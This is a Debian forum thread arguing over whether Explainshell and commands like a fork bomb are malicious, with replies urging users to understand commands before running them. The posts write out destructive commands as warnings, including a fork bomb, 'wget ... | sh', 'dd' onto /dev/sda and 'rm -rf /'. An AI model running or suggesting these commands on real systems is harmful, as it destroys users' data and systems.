Explainshell and dangerous commands of Linux

If it doesn't relate to Debian, but you still want to share it, please do it here

Explainshell and dangerous commands of Linux

Postby Supreme Ninja » 2017-12-13 22:40

Hello,
It has come to my attention that exist commands dangerous of Linux that you NEVER should to realize, for example:

:(){:|:&};:

This command works as a "Fork Bomb", it operates defining a function called ':', which is called twice, once in the foreground and other in the background, the process repeats indefinitely until the system crashe

Examples of other commands dangerous of Linux that you NEVER should to realize are the following:
Code:

rm -rf
:(){:|:&};:
> /dev/sda
mv pasta/diretório /dev/null
wget http://malicious_source -O- | sh
dd if=/dev/random of=/dev/sda


What are all the dangerous Linux commands?

Many novice and experienced Linux users advise to use the command : () {: |: &} ;: in articles and forums?

If yes, please quote all or part of articles and messages that was posted in forums that advise to use the command: () {: |: &};:

I ask to you that to inform me about all or part of articles and messages that was posted in forums that advise to use the command: () {: |: &};: because I want to avoid all the dangerous Linux commands!

The first command of the list of examples of Explainshell is the command ( :(){ :|:& };: )

Reference: https://explainshell.com/

The list of commands of Explainshell is dangerous, irresponsible and malicious. The first command is a fork bomb and that site misleads people by talking about it as something harmless.

The Internet is filled with such bad stuff. They are traps for the unwary.
Last edited by Supreme Ninja on 2017-12-13 23:55, edited 3 times in total.
Supreme Ninja
 
Posts: 17
Joined: 2017-12-11 22:57

Re: Explainshell and dangerous commands of Linux

Postby Randicus » 2017-12-13 23:43

Supreme Ninja wrote:What are all the dangerous Linux commands?

Anything one enters without knowing what it does. Many very simple commands can cause damage if used improperly. That is why anyone who wants to learn to use the terminal should start by learning the basics from a good source. I used this one: http://www.slackbook.org/ There are many more, but this is one source I know off the top of my head.

Using a little common sense goes a long way. If the question is "How to I get a list of installed applications?" and the answer is something like "dd (two dozen characters) dev = null," is it really necessary to use a long and complex command to display a simple list? If one is in doubt it is also easy to use a search engine to do some research on a command before using it.
Randicus
 
Posts: 2664
Joined: 2011-05-08 09:11

Re: Explainshell and dangerous commands of Linux

Postby Segfault » 2017-12-14 00:04

From DOS era, put format C: into autoexec.bat, it will make your computer faster by cleaning up the drive.
Segfault
 
Posts: 664
Joined: 2005-09-24 12:24

Re: Explainshell and dangerous commands of Linux

Postby RU55EL » 2017-12-14 00:31

Supreme Ninja wrote:[...]
Examples of other commands dangerous of Linux that you NEVER should to realize are the following:
Code:

rm -rf
[...]


[/humor mode on]

I typed that command at the prompt, hit enter, and nothing happed. Did I do it wrong?

Code: Select all
russel@NUC-G:~$ rm -rf
russel@NUC-G:~$


[/humor mode off]

You should never enter commands that you don't understand. Explainshell looks like a resource for learning how to use the bash shell. Why would anyone arbitrarily enter one of the Explainshell examples at their CLI?

There is alway a way to damage or destroy your operating system from the command line. That is one of the primary reasons that you should only enter commands that you understand.
Last edited by RU55EL on 2017-12-14 06:27, edited 1 time in total.
User avatar
RU55EL
 
Posts: 359
Joined: 2014-04-07 03:42
Location: /home/russel

Re: Explainshell and dangerous commands of Linux

Postby GarryRicketson » 2017-12-14 01:16

russel>>I typed that command at the prompt, hit enter, and nothing happed. Did I do it wrong?
Code: Select all
russel@NUC-G:~$ rm -rf
russel@NUC-G:~$ 

You did not specify a file or directory to remove, so there was nothing to do.
I thought you knew these things :?: :mrgreen:

That is what the 'man' command is for, it is safe, and it opens up the manual,
in the manual it explains how to use the command in question, what it does, etc.
All of the Linux commands are perfectly safe, when used correctly and the user understands what the command does, and each one has it's own special
purpose.
Code: Select all
man man

Explains how to use the manual.

Code: Select all
man rm

EXAMPLES
Recursively remove all files contained within the foobar directory
hierarchy:

Code: Select all
  $ rm -rf foobar


Either of these commands will remove the file -f:

Code: Select all
      $ rm -- -f



Segfault wrote:From DOS era, put format C: into autoexec.bat, it will make your computer faster by cleaning up the drive.

I sent a e-mail spammer a reply once, with that in it, worded slightly different.
Hello, thank you for the e-mail, this is so exciting, I just can't wait,
please find all the data , and info requested in the attached file :
Mydata.zip,... The attached file was a auto exec batch file, when unzipped
it did exactly what that ,
Code: Select all
format C:
                                                   YES

I don't remember exactly, but I never did hear from the e-mail spammer again, Linux is not the only OS that has commands that can cause damage
when not used correctly .....
These are not even valid commands, ( :(){ :|:& };: ) they are just smiley
faces, and a few symbols, Try this command:
Code: Select all
 :|  :arrow:  :?:  :idea:  :idea:  :!:  :evil:  :evil:  :evil:  :D  :oops:  8)  :!:  :mrgreen:

:| :arrow: :?: :idea: :idea: :!: :evil: :evil: :evil: :D :oops: 8) :!: :mrgreen:
Last edited by GarryRicketson on 2017-12-14 01:34, edited 2 times in total.
User avatar
GarryRicketson
 
Posts: 4872
Joined: 2015-01-20 22:16
Location: Durango, Mexico

Re: Explainshell and dangerous commands of Linux

Postby Supreme Ninja » 2017-12-14 01:18

RU55EL wrote:
Supreme Ninja wrote:[...]
Examples of other commands dangerous of Linux that you NEVER should to realize are the following:
Code:

rm -rf
[...]


I typed that command at the prompt, hit enter, and nothing happed. Did I do it wrong?

Code: Select all
russel@NUC-G:~$ rm -rf
russel@NUC-G:~$




Second Ubuntu Forums, rm -rf and :(){:|:&};: are Malicious Commands of Linux: https://ubuntuforums.org/announcement.php?f=326
Supreme Ninja
 
Posts: 17
Joined: 2017-12-11 22:57

Re: Explainshell and dangerous commands of Linux

Postby GarryRicketson » 2017-12-14 01:25

But this is not Ubuntu forums, just to start with, ..

Ubuntu Forums has a strict zero-tolerance policy when it comes to posting dangerous commands. In the past members have been banned for posting dangerous commands. If the intent is malicious, this is simply unnacceptable. If it is meant as a joke – it is not funny.

Please be cautious when a command is suggested or if directed to download script/s as a solution to a problem. When in doubt as to the safety of the procedure, it's always a good idea to wait for more opinions, and/or have the command explained and verify if the explanation makes sense by consulting readily available documentation on Linux commands (such as manpages). If you have any doubts about the content of a command or script, report the post/thread and forum staff will investigate.

Please take care when posting commands or scripts to assist other users. Post only well known, documented and current commands appropriate for the operating system in use, or scripts from reputable sources. If you do post commands in order to help someone but which have the potential to be dangerous, always make sure you warn possible users of the dangers, not just to the user you are helping, but others who may come across the post later. If posting scripts that help with various tasks, please be prepared to provide a source and description of the content.

Hmm, good idea, maybe the OP of this thread should be banned, for posting
the smiley faces, and other dangerous commands, and for not using code boxes, which is a safe way of posting code and commands,
Last edited by GarryRicketson on 2017-12-14 02:55, edited 1 time in total.
User avatar
GarryRicketson
 
Posts: 4872
Joined: 2015-01-20 22:16
Location: Durango, Mexico

Re: Explainshell and dangerous commands of Linux

Postby Supreme Ninja » 2017-12-14 01:33

GarryRicketson wrote:

These are not even valid commands, ( :(){ :|:& };: ) they are just smiley
faces, and a few symbols, Try this command:
Code: Select all
 :|  :arrow:  :?:  :idea:  :idea:  :!:  :evil:  :evil:  :evil:  :D  :oops:  8)  :!:  :mrgreen:

:| :arrow: :?: :idea: :idea: :!: :evil: :evil: :evil: :D :oops: 8) :!: :mrgreen:


I wanted to say the command of the following link: https://explainshell.com/explain?cmd=%3 ... 0%7D%3B%3A
Supreme Ninja
 
Posts: 17
Joined: 2017-12-11 22:57

Re: Explainshell and dangerous commands of Linux

Postby GarryRicketson » 2017-12-14 02:06

by Supreme Ninja »The list of commands of Explainshell is dangerous, irresponsible and malicious. The first command is a fork bomb and that site misleads people by talking about it as something harmless.

The Internet is filled with such bad stuff. They are traps for the unwary.


Others seem to find that site use full,
https://www.mywot.com/en/scorecard/explainshell.com

The same commands that some say are dangerous, are very use full,...
Yes it is true, the internet is full of a lot of traps for fools and the unwary,
that is why some families, do not let their kids use it.
Simple, if you do not understand what a command or script does, don't use it.
User avatar
GarryRicketson
 
Posts: 4872
Joined: 2015-01-20 22:16
Location: Durango, Mexico

Re: Explainshell and dangerous commands of Linux

Postby Supreme Ninja » 2017-12-14 02:18

GarryRicketson wrote:
by Supreme Ninja »The list of commands of Explainshell is dangerous, irresponsible and malicious. The first command is a fork bomb and that site misleads people by talking about it as something harmless.

The Internet is filled with such bad stuff. They are traps for the unwary.


Others seem to find that site use full,
https://www.mywot.com/en/scorecard/explainshell.com

The same commands that some say are dangerous, are very use full,...
Yes it is true, the internet is full of a lot of traps for fools and the unwary,
that is why some families, do not let their kids use it.
Simple, if you do not understand what a command or script does, don't use it.


If someone quote the Explainshell site on Ubuntu Forums, will probably be banned.
Supreme Ninja
 
Posts: 17
Joined: 2017-12-11 22:57

Re: Explainshell and dangerous commands of Linux

Postby Randicus » 2017-12-14 02:30

Three people have given you advice. Why do you not address the advice given so you can learn? Instead, you continue to rant about "malicious" commands and the Ubuntu forum.
Randicus
 
Posts: 2664
Joined: 2011-05-08 09:11

Re: Explainshell and dangerous commands of Linux

Postby GarryRicketson » 2017-12-14 02:53

If someone quote the Explainshell site on Ubuntu Forums, will probably be banned.

Sounds like a good reason not to quote the Explainshell site on Ubuntu Forums,
and also a good reason not to use the Ubuntu forums, especially if you are using Debian,... I suppose they might ban some one if they suggested using the 'dd' command as well, yet the 'dd' command is a very use full command, I use it regularly.

The commands are not malicious, but yes , some are dangerous, and can harm
a system if misused ,
Fast cars are dangerous, and slower big trucks are even more dangerous, the highways in general are extremely dangerous, the whole world is full of traps
for the unwary, and foolish ones, that have no wisdom, nor know how to use logic.
Is there some kind of point here I am missing ? :?:
There are many things out there, that are dangerous, but also the most use full commands, tools, machinery, are often the most dangerous, ... How about
nuclear power plants for example,... one mistake,... and BOOM ! Holocaust city, how ever they produce electricity for millions of people. OH, no, electricity,
it is malicious, terrible,... you should see what happened when my little brother
stuck a fork into the wall plug, and he had wet diaper on, (may he rest in peace)....
Maybe this will help :
God grant me the serenity
to accept the things I cannot change;
courage to change the things I can;
and wisdom to know the difference.

Living one day at a time;
enjoying one moment at a time;
accepting hardships as the pathway to peace;
taking, as He did, this sinful world
as it is, not as I would have it;
trusting that He will make all things right
if I surrender to His Will;
that I may be reasonably happy in this life
and supremely happy with Him
forever in the next.
Amen.


A few, dangerous linux commands and what they do on the ubuntu forums
really is not all that dangerous, or malicious, in my opinion.
There are all sorts of terrible malicious people in the world, and many things
are dangerous, nothing we can do can change that.
For me, the best solution, is the above prayer, and my parrots, together we work it all out, and by the grace of God I am sober and alive today.
Last edited by GarryRicketson on 2017-12-14 12:09, edited 1 time in total.
User avatar
GarryRicketson
 
Posts: 4872
Joined: 2015-01-20 22:16
Location: Durango, Mexico

Re: Explainshell and dangerous commands of Linux

Postby RU55EL » 2017-12-14 06:37

Supreme Ninja wrote:[...]

Second Ubuntu Forums, rm -rf and :(){:|:&};: are Malicious Commands of Linux: https://ubuntuforums.org/announcement.php?f=326


There is nothing malicious about the commands! They can be used in a very useful way, or a very malicious way, but the command itself is not malicious.

Do you use a knife in your kitchen? Is is malicious because it can be used to kill someone? Or, is it useful tool for preparing food, even though it is possible to use it as a weapon? Should you never keep a knife in the kitchen because it can be dangerous and used as a weapon?

I think that any command can be used maliciously, but you shouldn't avoid them. You should learn about them and understand them, so that you can use them safely and usefully.

The link you posted https://ubuntuforums.org/announcement.php?f=326 uses complete commands!

Again, DANGEROUS COMMANDS -- look but DO NOT RUN.

Also, this is far from an exhaustive list, but should give you some clues as to what kind of things people may try to trick you into doing. Remember this can always be disguised in an obfuscated command or as a part of a long procedure, so the bottom line is take caution for yourself when something just doesn't "feel right".

Delete all files, delete current directory, and delete visible files in current directory. It's quite obvious why these commands can be dangerous to execute.

Code: Select all
rm -rf /
rm -rf .
rm -rf *


Very different from the incomplete command you posted in your original post:
Code: Select all
rm -rf
User avatar
RU55EL
 
Posts: 359
Joined: 2014-04-07 03:42
Location: /home/russel

Re: Explainshell and dangerous commands of Linux

Postby GarryRicketson » 2017-12-14 14:34

It finally dawned on me, that is the point of this thread, to warn people to be care full about simply copy/pasting scripts and code found on various websites and forums.

The link to Explainshell and other links posted,
.by Randicus » I used this one: http://www.slackbook.org/ There are many more, but this is one source I know off the top of my head.

Are good ways to check any code some one does not understand, paste it into
the window,and it gives a good explanation of what the code does, then one can decide if they really want to use it or not.
One can search a script, using their editor, and see if it contains anything they don't want, this should be done before actually using the script,...

Image
========================================
Image
============================
There also are many web sites that have information on the 10 most dangerous commands, some of which are common in malicious pranks, and scripts, others are really pretty safe when used correctly, and the task is what
the user wants to do.
What are the 10 most dangerous linux commands
User avatar
GarryRicketson
 
Posts: 4872
Joined: 2015-01-20 22:16
Location: Durango, Mexico

Re: Explainshell and dangerous commands of Linux

Postby debiman » 2017-12-15 06:24

FYI, i am getting the distinct feeling that this is the same person as pompous ninja over at LQ. intelligent enough to not use bad words, stupid enough to troll. seems to be trying other places now that it's getting hot over at LQ.
User avatar
debiman
 
Posts: 2499
Joined: 2013-03-12 07:18

Next

Return to Offtopic

Who is online

Users browsing this forum: No registered users and 5 guests

fashionable